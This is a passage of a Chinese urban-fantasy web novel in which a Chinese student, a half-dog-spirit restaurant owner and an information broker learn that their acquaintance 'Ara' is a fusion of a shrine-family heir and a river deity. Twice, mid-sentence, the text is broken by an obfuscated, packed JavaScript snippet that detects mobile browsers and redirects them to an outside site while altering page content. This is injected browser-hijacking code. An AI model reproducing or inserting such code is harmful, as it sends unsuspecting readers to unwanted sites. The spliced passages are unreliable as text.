他说话语速很快,眼神像探照灯一样在吴森森脸上扫过,瞬间堆起一个极其灿烂、极具感染力的笑容:“这位就是最近让高宏和桐岛这两个闷蛋都动起来的小兄弟吧?你好你好!我是森内彻,经营一家小小的‘万事屋’,专门解决各种合法的、不合法的、常见的、不常见的麻烦!和高宏是老搭档了,以前这店还是我们一起折腾的呢,后来他非要死磕餐饮,我就出去单干了。放心,我收费合理,信誉良好,童叟无欺!” 他说话间,已经极其自然地从夹克内袋里摸出一张设计花哨的名片,塞到吴森森手里。名片上确实印着“松和万事屋”,下面是一串电话和邮箱,还有一行小字:“从寻找走失宠物到调解家庭纠纷,从调查商业对手到处理‘特殊物品’,为您排忧解难!” 吴森森捏着名片,有点懵。这位森内先生的出现方式、气质、以及和高宏亮熟稔互怼的态度,都表明他绝非寻常人物,而且显然对“这边”的事情门清。 “你怎么又钻过来了?这次又是‘闻’到什么了?” 高宏亮放下刀,也坐了下来,语气虽然嫌弃,但并没有真的动怒。 “嘿嘿,” 森内彻神秘兮兮地压低声音,虽然院子里就他们几个,“我手下一个小伙计,平时在天神桥市场那边收些‘特别渠道’的二手电器和五金,今天中午他跟我说,市场管理处的两个老油条,还有附近巡逻的一个老警察,今天一天都心神不宁的,凑在一起偷偷嘀咕什么‘上面的命令下来了’、‘要彻底清理一次,特别是那些犄角旮旯’、‘这次动静可能不小,让相熟的摊主这几天都把违禁品收好’之类的。” 他顿了顿,看到三人都看了过来,得意地继续道:“我寻思着,这不正常啊。市场定期清理是有,但很少这么紧张,还特意提到‘上面的命令’。再联想到前几天高宏你这边又是折腾下水道,又是搞净化,还有这位小兄弟之前好像也在市场那边‘捡’到过不得了的东西……我就琢磨,是不是你们搞出来的动静,或者你们追查的东西,终于让某些‘上面’的人坐不住,要开始‘打扫卫生’了?这‘打扫’是真的打扫,还是想‘毁灭证据’?” 桐岛凛的眼神瞬间锐利起来:“消息可靠?具体时间?” “我那小伙计耳朵灵得很,应该没错。至于时间,他们没明说,但意思是‘就这几天’,很急。” 森内彻说道,然后搓了搓手,露出一个标准的、准备谈生意的笑容,“所以啊,我一听到你们聊的消息,就觉得巧了不是?这周末市场要是真有‘大动作’,你们这边又约了关键人物见面……这里头肯定有事儿!怎么样,带我一个?我别的不行,打听消息、混入各种场合、跟三教九流打交道、关键时刻扰乱视线或者制造‘合理’的意外,那可是专业级的!而且我跟诹访家虽然不熟,但他们家下面几个负责采买和对外联络的执事,我可都喝过酒,多少能套点边角料出来。” 高宏亮和桐岛凛对视了一眼。森内彻这人虽然看起来不靠谱,但他那五花八门的人脉和能力确实适合处理一些信息源的问题。 “行吧,算你一个。” 高宏亮拍板,“周日,一起去会会诹访家那小子。不过你给我收敛点,别一上来就把人家茶馆的茶叶罐子产地、老板的初恋史都扒出来!” “放心放心,我有分寸!” 森内彻拍着胸脯保证,然后立刻转向吴森森,笑容可掬,“吴小弟对吧?别紧张,以后就是自己人了!在杰潘有什么不方便的、需要跑腿打听的、或者想买什么稀奇古怪又不好找的东西,尽管找我!给你内部价!对了,你喜欢吃什么?下次来我给你带点……” 吴森森看着眼前这位过于热情、信息量巨大的新“同伴”,感觉脑袋有点嗡嗡作响。 他这个普通的中国留学生,到底被卷进了一个怎样“人才济济”又危机四伏的漩涡里啊? ———— 金曜日上午,桐岛凛果然如他所说,带着采集的样本和初步报告,搭乘早班新干线返回了京东。他离开时只简单交代了一句“保持联系,注意安全”,便将阪大这边的情况暂时留给了高宏亮和吴森森,以及那位新加入的“情报贩子”森内彻。 午后,高宏亮带着吴森森,按照森内彻给的地址,找到了那家名为“松和万事屋”的店铺。位置不在繁华的商业街,而是在一条混杂着老旧公寓、小作坊和零星商铺的后街,门脸不大,招牌是手写的艺术字,旁边还画着个略显抽象的、笑眯眯的(疑似)招财猫,透着一股随性又有点古怪的气息。 推门进去,首先感受到的是一种……杂而不乱的繁忙感。 店面比想象中深,更像一个多功能工作室兼仓库。一边是摆着电脑、打印机、文件柜的办公区,另一边则堆放着各种奇奇怪怪的东西:未拆封的电子产品包装盒、几把看起来挺专业的钓鱼竿、几个贴着不同公司标签的纸箱、甚至还有一套半旧的架子鼓。冷气开的很足,空气中混合着咖啡、旧纸张和一点淡淡的电子元件气味。 一个看起来非常年轻、顶多十八九岁的男孩子正趴在办公桌上,脑袋一点一点地打着瞌睡,手边还放着一杯喝了一半的罐装咖啡。他头发染成时下流行的浅棕色,乱糟糟地翘着,穿着印有动漫角色的宽大卫衣和破洞牛仔裤,整个人散发出浓烈的“熬夜废宅”气息。 听到门响,男孩勉强抬起眼皮,看到高宏亮,含糊地喊了声:“高宏叔……早……” 然后又差点把脑袋磕在桌面上。 “早个屁,都下午两点了!” 高宏亮毫不客气地走过去,一巴掌拍在男孩后脑勺上,力道不重,但足以让人清醒,“佐藤莲!你小子又通宵打游戏了是不是?看看你这鬼样子!” 名叫佐藤莲的男孩被拍得一激灵,揉着眼睛坐直身体,嘟囔道:“没、没有……就看个海棠花的直播……顺便打了会儿游戏……” “海棠花?这特么是夏天!” 高宏亮无语。 “是……是游戏里的季节活动啦……” 佐藤莲小声辩解,随即看到了高宏亮身后的吴森森,眼睛稍微亮了一下,但更多的还是困倦,“这位是……新客户?还是高宏叔你的新……呃,朋友?” “吴森森,我店里的临时帮手,也是目前的重要‘客户’兼‘保护对象’。” 高宏亮言简意赅地介绍,然后对吴森森说,“这傻小子就是森内这儿唯一的伙计,佐藤莲,十八岁,高中辍学,说是要‘追逐理想’跑来打工,结果理想就是通宵打游戏。你叫他莲就行。” “马上十九了!” “别废话!” 吴森森礼貌地点头问好,心里却暗自咋舌。十八岁,高中辍学,在万事屋打工追逐理想……这要是在他老家,父母非得打断腿不可。他打量着这个叫莲的男孩,虽然一脸没睡醒的样子,但五官清秀,眼神里还带着点未脱的稚气和一种……对现状似乎挺满意的? “莲,去后面小仓库把上个月那批‘特色调味料’的进出货单整理一下,顺便看看有没有过期要处理的。” 森内彻的声音从里间传来,随即他本人也晃了出来,依旧是一头醒目的紫绿挑染,今天换了件花哨的夏威夷衫,手里端着两杯冰咖啡,“高宏,吴小弟,来来来,这边坐,刚煮的咖啡,提神醒脑!” 他把咖啡递给两人,然后对还赖在椅子上的佐藤莲挥挥手:“快去快去,别在这儿碍眼,干完活允许你补觉一小时。” 佐藤莲“哦”了一声,摇摇晃晃地站起来,趿拉着拖鞋往后面去了。 “见笑了,”森内彻在高宏亮和吴森森对面坐下,自己也拿了杯咖啡,“这小子,半年前跑来,说不想读书,要追求自由人生,在我店门口蹲了三天。我看他可怜,也怕他一根筋想不开或者饿死在哪条巷子里,就收了。 人是单纯了点,脑子也不笨,就是没啥干劲,除了对我交代的‘正经事’还算上心,其他时间都泡在游戏和动漫里。也算干了半年,勉强能独当一面处理些简单的委托和杂务。 哦,本来还有个女伙计,挺能干,可惜前几天接了个外地调查的活儿,出差去了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016482|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在就这傻小子看店。” 吴森森点点头,不知道该不该为刚才那个“夏天看海棠花”的冷笑话笑一笑。这万事屋的氛围,与其说是神秘的情报据点,不如说更像一个由不靠谱大叔和颓废宅男组成的、勉强维持运营的奇葩工作室。 “说正事。”高宏亮喝了一大口咖啡,直奔主题,“诹访隼人那边,查得怎么样?” 森内彻脸上的嬉笑收敛了一些,从旁边杂乱的文件堆里精准地抽出一个薄薄的文件夹,打开。“两个消息,一好一坏。” “坏消息是,”他用手指敲了敲文件夹里的一张空白纸,“诹访隼人——或者说,‘荒’——在来到阪大、和美院学生合租画室之前,履历几乎是一片空白。正规的教育记录、医疗记录、甚至基础的户籍流动信息,都被处理得非常‘干净’,或者说,被某种力量很好地‘保护’了起来。 我只能查到他是诹访家的长子,曾被视为继承人,大约三年前突然脱离家族核心圈,来到阪大,之后的信息才相对正常。他来阪大之前在哪里,做了什么,接触过什么人,完全是个谜。这不是普通家族能办到的,除非……诹访家动用了他们在某些领域的深厚能量,或者,他本人或其背后有更高级别的势力在帮他隐藏。” 这个“坏消息”让吴森森心头一沉。荒的神秘面纱比他想象的更厚。 “好消息是,”森内彻翻到下一页,上面是一些手写的笔记和几个模糊的符号,“就我目前能动用的人脉和渠道,以及从诹访家外围人员那里旁敲侧击得到的信息来看,诹访家本身,至少其主脉和核心成员,近几十年来,与那个‘生贽之会’或者类似的极端邪教组织,没有查出任何实质性的牵连或利益往来。 诹访家的产业、人际关系、公开活动,都集中在传统宗教、文化保护、地方公益以及一些合法的商业投资上,画风相对‘正统’且保守。当然,不排除有个别边缘人物或者分家私下有接触,但主脉应该是清白的。” 他顿了顿,补充道:“不过,诹访家作为传承悠久的神道世家,内部派系复杂,对某些‘非常规’事物和力量的态度也并非铁板一块。荒本人放弃继承权,或许也与此有关。但至少,从家族整体立场来看,他们不太可能是那个邪教实验的直接参与者或支持者。这算是个……相对积极的情报吧。” 高宏亮摸着下巴上的胡渣,若有所思:“也就是说,那小子个人可能有问题,或者被卷入了别的事,但他家族大概率不是敌人。” “目前看是这样。”森内彻合上文件夹,“所以周日见面,重点还是放在荒个人身上。试探他的真实目的,他对那些‘瓶装器官’和下水道里东西的了解程度,以及……他为什么对你如此‘上心’,甚至不惜动用可能暴露自身底蕴的手段来保护你。” 吴森森默默点头。荒的背景成谜,但家族似乎并非直接威胁。 “对了,”森内彻像是忽然想起什么,拿出手机操作了几下,“上次你们弄回来的那些‘焦化史莱姆凝胶’和‘净·焚鬼灰烬’,我通过特殊渠道找到了一个识货的买家,对方出价很爽快。钱已经到账了,按老规矩,我抽两成中介费,剩下的,桐岛那份我直接转他账户了,高宏你的那份还有吴小弟的‘风险补贴’,转给你了,查收一下。” 高宏亮拿出手机看了一眼,吹了声口哨,显然对数额相当满意:“不错嘛,森内,你这渠道可以啊。够我这小店躺平一阵子了。” “小意思,以后有这种‘好货’,记得优先找我。”森内彻笑眯眯地说,然后看向吴森森,“吴小弟,你也有一份,虽然不多,但算是压惊费和劳务费。在高宏那儿吃住,手里有点零花钱也方便。” 吴森森有些意外,连忙摆手:“不、不用了,高宏先生已经帮了我很多……” “拿着吧,”高宏亮打断他,拍了拍他的肩膀,“这钱来路是有点那啥,但合法,也是你冒了风险应得的。再说了,以后用钱的地方说不定还多着呢。” 正说着,后面传来佐藤莲有气无力的喊声:“老板……单子理完了……过期的那批‘调味料’怎么处理?直接扔吗?” “别扔!”森内彻立刻跳起来,“那些可是‘特制’的,我联系专门回收的!你放那儿别动,我晚点来处理!” 他转头对高宏亮和吴森森抱歉地笑笑,“那小子毛手毛脚的,别给我把好东西糟蹋了。你们自便啊,咖啡壶在那边,自己续杯。周日早上九点,别忘了,地址我发你们手机。” 高宏亮和吴森森离开“松和万事屋”时,天色尚早。吴森森回头看了一眼那间杂乱的店铺,以及里面那个打着哈欠、又开始摸鱼的年轻伙计,感觉刚才接收的信息量有点大。 “别想太多,”高宏亮似乎看出他的心思,一边走一边说,“森内那家伙,看起来不着调,但关键时候靠得住,情报也几乎不出错。至于诹访家那小子……周日见了就知道了。是敌是友,总会露出马脚。现在,先回店里,晚上客人该来了,还得赚钱呢。” 吴森森点点头,跟着高宏亮走在回“春枝猪排饭店”的路上。在杰潘未来的日子看起来依旧迷茫,唯一确定的,是口袋里手机轻微的震动——那笔来自“焦化凝胶”和“焚鬼灰烬”的转账,已经到账了。 哦豁,够自己一个月的生活费了。 10. 荒的身份(2) 周日清晨,阳光正好。吴森森跟着高宏亮和森内彻,按照地址找到了那家茶馆。茶馆位于阪大一处清静的住宅区边缘,门面是传统的町屋样式,挂着朴素的暖帘,上书“静岳庵”三字。 推门而入,是意料之外的宽敞与清雅。室内光线柔和,弥漫着淡淡的线香与上好茶叶的清香。榻榻米擦得光可鉴人,矮几摆放得错落有致,几盆绿植点缀其间,显得生机盎然。 迎接他们的是一位看起来二十五六岁的年轻女性,穿着素雅但质地精良的淡色和服,长发绾成简洁的发髻,插着一支素银簪子。 她容貌秀丽,眉宇间却带着一股爽朗利落之气,笑起来眼睛弯弯的,十分有感染力。 “欢迎光临静岳庵!是诹访君的朋友吧?快请进,他还没到,先坐。我是这里的店主,月岛静。” 她声音清亮,动作麻利地引他们入座,一边熟练地准备茶具,一边很自然地聊起来,“这地方还行吧?我自己折腾的。家里……嗯,算是神社相关的吧,不过规矩多,我又不是男孩子,继承不了,待着也闷,就跑出来开个茶馆,图个清静,也磨磨我这急脾气。” 她说话直爽,毫不避讳:“我爸妈其实挺对不起我的,但也没办法,老传统了。他们现在也不怎么管我,就是每月按时打钱,怕我饿死,哈哈!不过这样也好,自由。” 她沏好第一道茶,分别奉上,茶汤清亮,香气怡人,“诹访君说今天有重要的事谈,我这就把后面最好的那间茶室留给你们,保证没人打扰。他这人,看着散漫,其实挺靠谱的,就是有时候神神秘秘的……哦,他来了。” 门口风铃轻响。荒推门而入。他今天穿着简单的亚麻衬衫和长裤,长发依旧随意束着,看起来和平时在画室没什么两样。然而,就在他踏入茶馆的瞬间—— 异变陡生! 原本还略带调侃、神情放松的高宏亮和森内彻,脸色骤然一变! 高宏亮手中的茶杯微微一颤,几滴滚烫的茶水溅在手背上,他却仿佛毫无所觉。森内彻脸上那永远营业般的灿烂笑容僵住了,紫绿色的挑染在透过窗棂的光线下显得有些黯淡。 两人不约而同地挺直了脊背,肌肉微微绷紧,眼神中充满了难以掩饰的惊悸、警惕,以及一种……近乎本能的、下级面对上位存在时的压迫感。就连呼吸都下意识地放轻了。 整个茶室原本平和的气氛,因为荒的到来,骤然变得凝重、紧绷,仿佛空气都沉重了几分。 月岛静似乎也感觉到了什么,有些诧异地看了看荒,又看看突然变得异常紧张的高宏亮和森内彻,明智地没有多问,只是轻轻说了句“茶室在后面,请自便”,便退到了前面的柜台。 吴森森也感觉到了不对劲。高宏亮和森内彻的反应太大了,那绝不是面对一个“神社世家叛逆子”该有的样子。那是一种……源于生命层次或力量本质的压制? 荒似乎对他们的反应毫不意外,甚至有些无奈。他走到茶室门口,脱下鞋子,走进来,在预留的主位坐下,动作依旧随意。他先给自己倒了杯茶,喝了一口,才抬眼看向如临大敌的两人,语气平淡地开口: “这里不是流川的流域,不用那么紧张。” “流川”? 吴森森敏锐地捕捉到了这个陌生的词。而高宏亮和森内彻听到这个词,身体似乎绷得更紧了。 短暂的、令人窒息的沉默后,高宏亮深吸一口气,仿佛用尽了全身力气,才勉强开口,声音带着不易察觉的干涩和颤抖,但眼神却死死盯住荒: “流川之主…… 你为什么……这么关心吴森森?以及,为什么离开了流川的流域,来到这里?还有……” 他顿了顿,问出了最关键,也最惊悚的问题,“真正的诹访隼人,去哪里了?” 流川之主?! 吴森森脑中“嗡”的一声,仿佛有什么东西炸开了。这个称呼,带着古老、尊崇又无比沉重的分量。它不是人名,更像是一个……神职?尊号?联想到荒之前展现的力量,以及高宏亮和森内彻此刻近乎面对天敌般的反应…… “诹访隼人”难道只是一个伪装?一个壳子?那眼前这个和他讨论绘画、在画室一起消磨时光、甚至“顺手”救了他一命的人……到底是谁?! 在见到荒的瞬间,高宏亮明白了。那道强大到瞬间净化焚鬼的白色经文印记,对眼前这位存在而言,或许真的只是“顺手”画下的一笔,如同人类随手拂去衣上尘埃。 但正因如此,谜团才更大——一位尊为“流川之主”的存在,为何要伪装成一个普通的美院学生,又为何要对一个偶然卷入事件的中国留学生施以如此程度的关注和保护? 吴森森心脏狂跳,血液仿佛都冲向了头顶。他强迫自己冷静下来,消化着这爆炸性的信息。 他看着荒平静无波的脸,又看看高宏亮和森内彻紧张到极点的样子,一个念头突然冒了出来。他深吸一口气,尽管手指有些发颤,还是大胆地开口问道: “流川之主……是什么?是……河神吗?跟京东的流川有什么关系?” 他记得,在杰潘,尤其是一些古老传说中,重要的河流往往被视为有神灵镇守。而“流川”这个名称…… 森内彻听到吴森森的问话,似乎想点头,又立刻忍住了,只是幅度极小地动了动下巴,眼神里充满了“你小子真敢问”的惊叹和一丝“问得好”的赞许。高宏亮则依旧死死盯着荒。 荒的目光转向吴森森,那眼神依旧是他熟悉的平静,但此刻看去,却觉得那平静之下,仿佛藏着整条奔腾不息的古老江河,深不可测。 他没有立刻回答,只是又喝了口茶。 就在这极度压抑的寂静中,高宏亮似乎因为过度紧绷和试图对抗那股无形的威压,身体忽然一个不稳,猛地想站起来,却“砰”地一声撞到了身前的矮几!茶杯翻倒,茶水泼了一榻榻米。 “抱、抱歉!我没控制住……” 高宏亮脸色有些发白,连忙道歉,也不知是对荒,还是对月岛静的榻榻米。 荒见状,几不可察地轻轻叹了口气。随着这声叹息,茶室中那股令人窒息的无形压力,如同潮水般迅速退去。 高宏亮和森内彻几乎是同时松了口气,绷紧的肩膀垮了下来,额头上都渗出了一层细汗。森内彻更是夸张地拍着胸口,大口喘气:“哎哟我的妈呀……这威压,比上次见京都的那位老爷子还吓人……” 荒看着他们,语气里带着一丝淡淡的歉意:“是我疏忽了。平时收敛惯了,刚才见到你们,下意识带出了一点‘本相’的气息。这里毕竟不是我的地界,对你们来说冲击是大了点。现在已经收敛好了,放松些吧。” 他重新看向吴森森,回答了刚才的问题: “流川之主,算是……古老契约下的守护者与管理者之一吧。你可以粗略理解为,镇守京东那条名为‘流川’的河流及其部分流域相关‘秩序’与‘灵脉’的存在。并非狭义人格化的‘河神’,职责和存在形式更复杂一些。” 他承认了!他真的是一位……“神明”或者类似的存在?! 吴森森感觉自己的世界观正在咔嚓作响,濒临破碎。 荒的目光扫过高宏亮和森内彻,最后又落回吴森森身上,那平静眼眸深处,似乎有深邃的旋涡在缓缓转动: “至于我为什么在这里,为什么关心你,以及……‘诹访隼人’……” ———— 茶室中,茶水泼洒的痕迹在榻榻米上缓缓晕开,空气中还残留着一丝未散尽的、令人心悸的威压余韵。 但随着荒那句“已经收敛好了”,那股源自生命本质的沉重压迫感确实消失了,取而代之的是一种更加深沉、更加复杂难言的气氛。 荒端起月岛静后来重新奉上的茶,轻轻吹了吹水面,开始用他那依旧平淡,却仿佛蕴含着流水般古老韵律的声调,讲述一个超乎所有人想象的故事。 “三年前,真正的诹访隼人——那个被家族寄予厚望、天赋卓绝的继承人,按照家族古老训示,前往京东的流川进行为期一年的‘水行历练’。” 荒的目光似乎穿透了时空,回到了那条奔腾不息的大河之畔,“那场修行,旨在让继承者感知自然灵脉,磨砺心志。” “然而,他到达后不久,流川流域便开始出现不正常的‘污浊’与‘躁动’。一些原本潜伏的妖怪变得异常狂暴,更有一些行踪诡秘、散发着令人作呕邪气的人类频繁出没。诹访隼人在调查中,遭遇了极为强大的妖怪与那些邪教徒爪牙的联合伏击。” 荒的语气没有波澜,但内容却惊心动魄。 “激战中,他重伤坠入流川。冰冷的河水吞噬了他,重伤、邪气侵蚀、加上流川本身因污染而变得狂暴的灵流冲击……他的意识濒临消散。” “就在那时,” 荒停顿了一下,手指无意识地摩挲着茶杯边缘,“沉睡于流川深处的‘我’——或者说,流川之主的一部分感知——被这剧烈的‘扰动’和坠落其中的、带着诹访家纯净灵光与强烈执念的灵魂所吸引。” “濒死的诹访隼人,与因流域受污、自身也受到影响而处于非正常沉眠状态的流川之主的部分意志和力量……在流川的河心深处,产生了某种难以言喻的交融与共鸣。” 他抬起眼,看向震惊不已的三人:“所以,我不是完全的‘诹访隼人’,他的一半意识,连同大部分作为‘诹访隼人’的记忆、情感、人格,为了保护核心,或者说因为创伤过重,选择了深度的沉眠,潜藏在这具身体的深处。” “我也不是完整的‘流川之主’。” 荒继续说道,语气带着一丝几不可察的茫然与自嘲,“流川之主绝大部分的力量和古老意识,依然在流川深处沉睡,试图抵御和净化那些侵入流域的‘污秽’。此刻坐在这里的‘我’——你们可以叫我‘荒’——是流川之主被意外‘唤醒’并因融合而改变的一小部分‘守护意志’与‘权 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016483|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能碎片’,混合了诹访隼人残存的、最核心的‘自我认知’以及部分表层记忆,所形成的……一个混合体,一个‘临时协议’。” 他指了指自己的后背:“诹访隼人背上那半片你们看到的纹身,并非装饰。那是流川之主力量与契约的象征,在他坠河时开始显现,随着融合加深而逐渐完整化。它代表着这具身体暂时承载的、不完整的河流权柄,也是连接沉睡的流川之主本体的一个锚点。” 吴森森听得心神剧震。 原来荒既不是单纯的神社叛逆子,也不是完整的神明,而是一个在极端意外下诞生的“混合存在”! 难怪他既有诹访隼人的艺术天赋和部分记忆,又拥有深不可测的力量和古老的气质。 “那诹访家……” 高宏亮声音沙哑地开口,他显然也被这真相冲击得不轻。 “诹访家与流川,在久远的过去或许有过一些因缘,但并无直接的、深厚的契约关系。” 荒解释道,“引起共鸣的,主要是诹访隼人自身所具备的、极其纯粹且潜力深厚的‘净化’与‘守护’性质的神道灵力,与流川之主‘守护流域、涤荡污秽’的职责产生了强烈的共鸣。某种程度上,是他选择了我……或者说,我们选择了彼此,在这最糟糕的时刻,以一种最不稳定的方式结合,以求存续。” 他放下茶杯,眼神变得凝重:“而我醒来——或者说,以‘荒’的形态在阪大活动——还有一个更重要的原因。 流川,以及其关联的更大范围的水脉与灵脉,正在受到持续而恶性的影响与污染。 源头,与那些在流域活动的邪教徒,与他们所进行的亵渎生命、扭曲自然法则的‘实验’密切相关。 那些‘瓶装器官’所散发出的、违背生死的异常‘生机’与‘怨质’,那些在下水道汇聚的污秽造物……所有这些,都是污染源的一部分,它们如同毒素,正在缓慢而坚定地侵蚀着像流川这样的自然灵脉。” 荒的目光最终定格在吴森森身上,那眼神复杂难明:“我能感觉到,流川之主真正的‘苏醒’之日正在迫近。但苏醒后的状态,是彻底净化,还是被污染影响而变得狂暴甚至扭曲,无人能知。我必须在他完全苏醒前,尽可能查明污染的源头,阻止其扩散,至少……要为他的苏醒创造一个不那么恶劣的环境。” “而你,吴森森,” 荒的声音低沉而清晰,“你发现那些瓶装器官,并非纯粹的偶然。你身上……有一种奇特的‘敏感性’,或者说,你与这起事件背后涉及的某些‘要素’,存在着连你自己都未曾察觉的、微弱的‘缘’。这让你更容易被卷入,也更容易看到‘痕迹’。我最初留意你,只是出于对流川污染源的警觉。但后来……” 他顿了顿,似乎在斟酌用词:“你的画,你的眼神,你面对恐惧时挣扎求生的样子……让我想起了诹访隼人记忆深处,某些早已模糊的、关于‘普通人’的温暖与执着。 而且,你被卷入的程度,比我想象的深。那道保护,既是为了保护一个被无辜卷入的‘普通人’,也是为了……保护一个可能在未来,以某种我自己也说不清的方式,起到关键作用的‘变数’。” 茶室里久久无人说话。月岛静不知何时悄悄关上了茶室的门,将这片空间留给这几个承载着惊人秘密的人。 高宏亮和森内彻看向荒的眼神彻底变了,少了许多恐惧,多了深深的复杂与凝重。 吴森森更是心潮翻涌。他一直以为自己是偶然跌入黑暗的倒霉蛋,却没想到,自己身上可能早有“缘”的牵绊,甚至被荒这样特殊的存在视为“关键变数”。 “所以,” 森内彻终于找回了自己的声音,虽然还有些干涩,“你找我们,特别是找吴小弟,是想……合作?一起调查那个污染源,那个邪教和人体实验?” 荒点了点头,目光扫过三人:“我一个人,力量不全,记忆残缺,行事也有限制。你们,桐岛凛的科学手段与情报分析,高宏亮处理‘异常’的经验与人脉,森内你的情报网络与应变能力,还有吴森森你……作为‘缘’的焦点和可能的‘钥匙’。我们需要合作。至少在阻止流川流域彻底恶化、查清‘生贽之会’及其背后支持者的阴谋这件事上,我们的目标是一致的。” 他看向吴森森,语气是前所未有的认真:“当然,选择权在你。你可以选择继续只作为被保护的对象,也可以选择……更深入地走进这片迷雾,虽然那意味着更大的危险。但我必须告诉你,污染不除,类似你公寓里、下水道中的事件,只会越来越多,越来越靠近普通人。而你身上的‘缘’,也可能让你无法真正置身事外。” 吴森森握紧了拳头,指尖陷入掌心。 逃避,或许能换来暂时的安全,但真相与威胁不会消失。而眼前,虽然前路莫测,但他似乎有了可以并肩同行、各自怀揣秘密与能力的同伴。 他深吸一口气,抬起头,迎上荒的目光: “我加入。” 11. 混血后代 荒平静的讲述带来的震撼还未完全平复,茶室内的空气因这关于神祇、融合与污染的真相而显得格外凝重。 荒的目光似有若无地扫过高宏亮和森内彻,那眼神中带着一丝了然,仿佛早已窥见了他们身上不同于常人的“根源”——那是血脉深处流淌的古老力量,或是传承中烙印的特殊印记。 他略有迟疑,似乎在斟酌是否该由自己点破,毕竟这两位同伴至今未曾主动提及。 然而,没等荒开口,高宏亮便重重地“啧”了一声,打破了沉默。他抓了抓自己那头总是有些乱翘的短发,脸上露出一种“算了,反正也瞒不过这尊大神”的豁达表情,但眼神深处却藏着一丝不易察觉的、与自身粗犷外表不符的锐利与沧桑。 “得,反正话都说到这份上了,藏着掖着也没意思。” 高宏亮端起已经凉掉的茶,一饮而尽,仿佛那是烈酒,“老子我,祖上有点‘特殊成分’。具体多少代以前的老祖宗跟犬妖好上了,族谱也记不清了,反正传到我这儿,那点子妖怪血脉稀薄得都快没了,也就比普通人鼻子灵点儿,力气大点儿,对‘脏东西’的感觉敏锐点儿,还有……” 他顿了顿,似乎在回忆什么,眼神掠过一丝复杂:“……寿命可能稍微长那么一丢丢,老得慢点儿。别的,跟普通人没啥两样。开个店,赚点钱,接点‘特别’的活儿糊口,就这么回事。” 他指了指自己那双看起来与常人无异、却能在昨夜下水道中精准感知异常气息的手,“至于刀法剑法啥的,那是后来为了混饭吃自己练的,跟血脉关系不大……好吧,可能反应速度和动态视力确实沾了点光。” 犬妖后代?!吴森森再次被刷新了认知。 高宏亮那超乎常人的敏锐嗅觉、对“异常”的直觉、以及处理邪秽时展现的身手,原来都有其血脉渊源! 难怪他之前说自己是“混口饭吃的小把戏”,这“小把戏”的根基,竟是深植于血脉之中的古老力量,哪怕已经极其稀薄。 高宏亮话音刚落,旁边的森内彻也挠了挠他那头醒目的紫绿挑染,脸上招牌式的灿烂笑容里多了几分无奈和自嘲:“我嘛……情况就更乌龙一点。” 他清了清嗓子,“按辈分算,我跟高宏这家伙,算是隔着好几层、几乎快出五服的远房亲戚,纯粹的人类血统。但是呢,大概是我十来岁的时候,有次跟这家伙一起瞎胡闹,误闯了他们家祖上留下的一处……呃,算是‘祭祀点’还是‘力量残留地’来着?反正就是不该去的地方。” 森内彻的表情变得有些古怪,像是想起什么既后怕又荒谬的事:“结果不知道触发了什么机制,或者是我这人类身子骨太‘干净’,反而容易‘被附体’?总之,高宏他们家那几乎快消失的‘犬神’之力,有一小部分——非常小的一部分——莫名其妙地‘分流’或者说‘共鸣’到了我身上。大部分正统的、与血脉绑定的力量和特质,当然还在高宏那儿。我这边的嘛……” 他摊了摊手:“就有点杂,有点怪。主要体现在‘存在感’变得很模糊,容易让人放下戒心,套话特别容易,跑得快,跳得高,恢复力比普通人强点,偶尔能‘闻’到点特别的气息,不是物理上的,而是一种事物的波动,还有就是……对某些结界、封印或者能量流动的‘薄弱点’特别敏感,这大概是我能轻松找到各种密道、后门,包括高宏你店里那个榻榻米暗格的原因。” 他说到最后,还冲高宏亮挤了挤眼。 高宏亮没好气地瞪了他一眼:“所以你就仗着这点‘小偷小摸’的本事,开起了万事屋?还整天钻我家地板?” “嘿嘿,物尽其用嘛!” 森内彻笑嘻嘻地说,随即又正色道,“不过说真的,我这能力大部分时候没啥攻击性,就是辅助和逃命好用。真碰上硬茬子,还得靠高宏你顶前面。” 吴森森听得目瞪口呆。森内彻那夸张的社交能力、总能搞到情报的本事、以及那种总能“恰巧”出现在合适或不合适地方的特质,原来并非纯粹的个人天赋,而是源自一次意外的“力量分流”? 荒静静地听着,脸上并没有太多意外,只是微微颔首:“原来如此。稀薄的犬妖血脉,以及因意外而产生的‘伴生’或‘分流’现象。难怪高宏先生对‘污秽’气息的感知如此敏锐,行动迅捷有力。而森内先生则拥有近乎天赋的‘亲和’与‘穿透’特质,能游走于各种界限之间。” 他看向高宏亮,“你的刀法,恐怕并非全然与血脉无关。犬神之力,即便稀薄,亦会潜移默化强化持有者的‘守护’与‘驱逐’本能,你的技艺应是顺应了这份本能而锤炼出的。” 高宏亮沉默了一下,没有否认。 至此,围绕着这张小小茶桌的四人,身份背景已然清晰得近乎骇人: 一个由半神(?)、半妖(稀薄)、变异人类和他国普通人组成的、画风清奇却又莫名合理的临时同盟。 吴森森心里吐槽:这是什么杰潘动漫高中生的生活啊… “好了,底牌都亮得差不多了。” 高宏亮拍了拍手,将众人的注意力拉回现实,“咱们现在算是一条船上的人了,船下是深不见底、满是怪物的黑水。荒……或者说,流川之主的部分大人,您接下来有什么打算?总不能让那帮搞邪教实验的王八蛋继续往河里倒垃圾吧?” 